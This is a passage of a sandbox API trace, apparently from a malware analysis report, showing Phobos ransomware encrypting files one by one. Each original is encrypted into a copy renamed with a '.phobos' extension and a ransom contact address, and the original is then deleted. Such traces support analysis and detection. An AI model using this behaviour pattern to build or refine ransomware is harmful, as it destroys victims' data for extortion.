dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0xf9540) returned 1 [0046.772] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0046.773] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x9c, lpOverlapped=0x0) returned 1 [0046.785] CryptEncrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa0, dwBufLen=0xa0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa0) returned 1 [0046.785] WriteFile (in: hFile=0x30c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xa0, lpOverlapped=0x0) returned 1 [0046.786] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ca30) returned 1 [0046.786] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0046.786] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0046.786] CryptDestroyKey (hKey=0x10ca30) returned 1 [0046.786] WriteFile (in: hFile=0x30c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0046.787] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.787] CloseHandle (hObject=0x308) returned 1 [0046.787] CloseHandle (hObject=0x30c) returned 1 [0046.787] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0046.788] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0046.788] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0046.788] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=129) returned 1 [0046.789] CloseHandle (hObject=0x30c) returned 1 [0046.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0046.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.789] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0046.789] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0046.789] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0046.789] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.790] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0xf9540) returned 1 [0046.791] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0046.791] ReadFile (in: hFile=0x30c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x81, lpOverlapped=0x0) returned 1 [0046.792] CryptEncrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0046.792] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x90, lpOverlapped=0x0) returned 1 [0046.792] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cd30) returned 1 [0046.793] CryptSetKeyParam (hKey=0x10cd30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0046.793] CryptEncrypt (in: hKey=0x10cd30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0046.793] CryptDestroyKey (hKey=0x10cd30) returned 1 [0046.793] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0046.793] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.793] CloseHandle (hObject=0x30c) returned 1 [0046.793] CloseHandle (hObject=0x308) returned 1 [0046.793] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0046.794] ResetEvent (hEvent=0x2ec) returned 1 [0046.794] SetEvent (hEvent=0x2f0) returned 1 [0046.794] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0046.795] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.795] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=129) returned 1 [0046.795] CloseHandle (hObject=0x308) returned 1 [0046.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0046.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.795] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.795] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0046.795] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0046.795] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0046.796] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0xf9540) returned 1 [0046.796] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0046.796] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x81, lpOverlapped=0x0) returned 1 [0046.796] CryptEncrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0046.796] WriteFile (in: hFile=0x30c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x90, lpOverlapped=0x0) returned 1 [0046.797] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0046.797] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0046.797] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0046.797] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0046.797] WriteFile (in: hFile=0x30c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0046.797] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.797] CloseHandle (hObject=0x308) returned 1 [0046.797] CloseHandle (hObject=0x30c) returned 1 [0046.797] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0046.798] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0046.898] ResetEvent (hEvent=0x2ec) returned 1 [0046.898] SetEvent (hEvent=0x2f0) returned 1 [0046.898] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0046.898] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.898] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=7567) returned 1 [0046.898] CloseHandle (hObject=0x314) returned 1 [0046.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0046.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.899] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.899] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0046.899] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0046.899] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0046.901] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0046.901] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0046.901] ReadFile (in: hFile=0x314, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1d8f, lpOverlapped=0x0) returned 1 [0046.905] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1d90) returned 1 [0046.905] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1d90, lpOverlapped=0x0) returned 1 [0046.906] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccb0) returned 1 [0046.906] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0046.906] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0046.907] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0046.907] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0046.907] CryptDestroyKey (hKey=0x10cf70) returned 1 [0046.907] CloseHandle (hObject=0x314) returned 1 [0046.907] CloseHandle (hObject=0x31c) returned 1 [0046.907] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0046.908] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0046.915] ResetEvent (hEvent=0x2ec) returned 1 [0046.915] SetEvent (hEvent=0x2f0) returned 1 [0046.915] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0046.915] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.061] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=74214) returned 1 [0047.068] CloseHandle (hObject=0x308) returned 1 [0047.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0047.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.068] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.068] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.068] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.068] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.068] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d0f0) returned 1 [0047.068] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.068] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x121e6, lpOverlapped=0x0) returned 1 [0047.070] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x121f0, dwBufLen=0x121f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x121f0) returned 1 [0047.070] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x121f0, lpOverlapped=0x0) returned 1 [0047.072] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cef0) returned 1 [0047.072] CryptSetKeyParam (hKey=0x10cef0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.072] CryptEncrypt (in: hKey=0x10cef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50, dwBufLen=0x50 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x50) returned 1 [0047.072] CryptDestroyKey (hKey=0x10cef0) returned 1 [0047.072] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x102, lpOverlapped=0x0) returned 1 [0047.072] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0047.072] CloseHandle (hObject=0x308) returned 1 [0047.072] CloseHandle (hObject=0x31c) returned 1 [0047.074] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0047.075] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.075] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.075] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3314) returned 1 [0047.075] CloseHandle (hObject=0x31c) returned 1 [0047.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0047.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.076] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.076] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.076] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0047.076] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.076] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d1f0) returned 1 [0047.077] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.077] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xcf2, lpOverlapped=0x0) returned 1 [0047.084] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xd00, dwBufLen=0xd00 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xd00) returned 1 [0047.084] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xd00, lpOverlapped=0x0) returned 1 [0047.085] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cb70) returned 1 [0047.085] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0047.085] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0047.085] CryptDestroyKey (hKey=0x10cb70) returned 1 [0047.085] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0047.085] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0047.085] CloseHandle (hObject=0x31c) returned 1 [0047.085] CloseHandle (hObject=0x308) returned 1 [0047.086] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0047.087] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0047.087] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0047.087] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=77748) returned 1 [0047.087] CloseHandle (hObject=0x308) returned 1 [0047.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0047.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 